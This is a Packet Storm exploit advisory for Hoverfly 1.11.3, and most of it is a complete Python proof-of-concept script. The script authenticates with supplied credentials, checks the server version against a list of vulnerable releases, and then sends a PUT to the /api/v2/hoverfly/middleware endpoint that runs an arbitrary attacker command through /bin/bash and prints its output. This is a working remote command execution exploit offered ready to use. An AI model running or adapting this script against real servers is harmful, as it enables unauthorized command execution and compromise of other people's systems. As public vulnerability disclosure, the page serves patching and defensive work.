PACKETSTORM

📄 Hoverfly 1.11.3 Remote Command Execution_PACKETSTORM:219682

Description

This Python script is an exploitation tool targeting a vulnerable Hoverfly API endpoint, specifically the /api/v2/hoverfly/middleware functionality, which allows execution of user-supplied input through a backend binary...
Visit Original Source

Basic Information

ID PACKETSTORM:219682
Published Apr 23, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Hoverfly 1.11.3 Middleware API Authenticated RCE Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://hoverfly.io/ |
==================================================================================================================================

[+] Summary : This Python script is an exploitation tool targeting a vulnerable Hoverfly API endpoint, specifically the /api/v2/hoverfly/middleware functionality,
which allows execution of user-supplied input through a backend binary.

[+] POC :

#!/usr/bin/env python3

import requests
import sys
import re
import json
import time
import signal
from urllib.parse import urljoin

class Colors:
GREEN = '\033[0;32m'
RED = '\033[0;31m'
BLUE = '\033[0;34m'
YELLOW = '\033[0;33m'
PURPLE = '\033[0;35m'
CYAN = '\033[0;36m'
END = '\033[0m'

def signal_handler(sig, frame):
print(f"\n\n{Colors.RED}[!] Exiting...{Colors.END}")
sys.exit(1)

signal.signal(signal.SIGINT, signal_handler)

def help_panel():
print(f"{Colors.YELLOW}")
print("Usage: python3 script.py -t http://target.com:8888 -u <user> -p <password> -c \"<command>\"")
print(f"{Colors.END}")

def is_reachable(target):
try:
response = requests.get(target, timeout=10, verify=False)
if 200 <= response.status_code < 500:
print(f"{Colors.GREEN}[OK] Target is reachable.{Colors.END}\n")
return True
else:
print(f"{Colors.RED}[FAIL] Target unreachable.{Colors.END}")
return False
except requests.RequestException:
print(f"{Colors.RED}[FAIL] Target unreachable.{Colors.END}")
return False

def get_token(target, username, password):
print(f"{Colors.CYAN}[STEP] Requesting authentication token...{Colors.END}")
try:
response = requests.post(
f"{target}/api/token-auth",
headers={"Content-Type": "application/json"},
json={"username": username, "password": password},
timeout=10,
verify=False
)

if response.status_code == 200:
try:
token = response.json().get("token")
if token:
print(f"{Colors.GREEN}[OK] Token acquired successfully.{Colors.END}")
return token
except json.JSONDecodeError:
return None
except requests.RequestException:
pass

return None

def get_version(target, token):
print(f"\n{Colors.CYAN}[STEP] Retrieving Hoverfly version...{Colors.END}")
try:
response = requests.get(
f"{target}/api/v2/hoverfly/version",
headers={"Authorization": f"Bearer {token}"},
timeout=10,
verify=False
)

if response.status_code == 200:
try:
version = response.json().get("version", "")
if version:
version = version.replace('v', '')
print(f"{Colors.BLUE}[INFO] Detected version: {Colors.YELLOW}v{version}{Colors.END}\n")
return version
except json.JSONDecodeError:
return None
except requests.RequestException:
pass

return None

def is_vulnerable(version):
print(f"{Colors.CYAN}[STEP] Checking if target version is vulnerable...{Colors.END}")
vulnerable_versions = [
"1.11.3", "1.11.2", "1.11.1", "1.11.0",
"1.10.13", "1.10.12", "1.10.11", "1.10.10"
]

if version and version in vulnerable_versions:
print(f"{Colors.GREEN}[OK] Vulnerable version detected: {Colors.RED}{version}{Colors.END}")
return True

print(f"{Colors.RED}[FAIL] Target is not vulnerable.{Colors.END}")
return False

def exploit(target, token, command):
print(f"\n{Colors.CYAN}[STEP] Attempting command execution...{Colors.END}")

try:
response = requests.put(
f"{target}/api/v2/hoverfly/middleware",
headers={"Authorization": f"Bearer {token}"},
json={"binary": "/bin/bash", "script": command},
timeout=10,
verify=False
)

if response.status_code == 200:
response_text = response.text.replace('\\n', '\n')

try:
data = response.json()
output = data.get('output')
if output:
print(f"{Colors.GREEN}[OK] Command executed successfully.{Colors.END}")
print(f"{Colors.PURPLE}{output}{Colors.END}")
return True
except json.JSONDecodeError:
pass

match = re.search(r'STDOUT:(.*?)(?:STDERR:|$)', response_text, re.DOTALL)
if match:
output = match.group(1).strip()
print(f"{Colors.GREEN}[OK] Command executed successfully.{Colors.END}")
print(f"{Colors.PURPLE}{output}{Colors.END}")
return True

print(f"{Colors.YELLOW}[WARN] No output received.{Colors.END}")
return True

print(f"{Colors.RED}[FAIL] Request failed: {response.status_code}{Colors.END}")
return False

except requests.RequestException as e:
print(f"{Colors.RED}[ERROR] {e}{Colors.END}")
return False

def main():
import argparse

parser = argparse.ArgumentParser(add_help=False)
parser.add_argument('-t', '--target')
parser.add_argument('-c', '--command')
parser.add_argument('-u', '--username')
parser.add_argument('-p', '--password')
parser.add_argument('-h', '--help', action='store_true')

args = parser.parse_args()

if args.help or not all([args.target, args.command, args.username, args.password]):
help_panel()
sys.exit(1)

target = args.target.rstrip('/')

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

print('\033[?25l', end='')

try:
print(f"{Colors.YELLOW}=== START ==={Colors.END}")

if not is_reachable(target):
sys.exit(1)

token = get_token(target, args.username, args.password)
if not token:
print(f"{Colors.RED}[-] Auth failed{Colors.END}")
sys.exit(1)

version = get_version(target, token)
if not version or not is_vulnerable(version):
sys.exit(1)

exploit(target, token, args.command)

print(f"{Colors.YELLOW}=== END ==={Colors.END}")

finally:
print('\033[?25h', end='')

if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.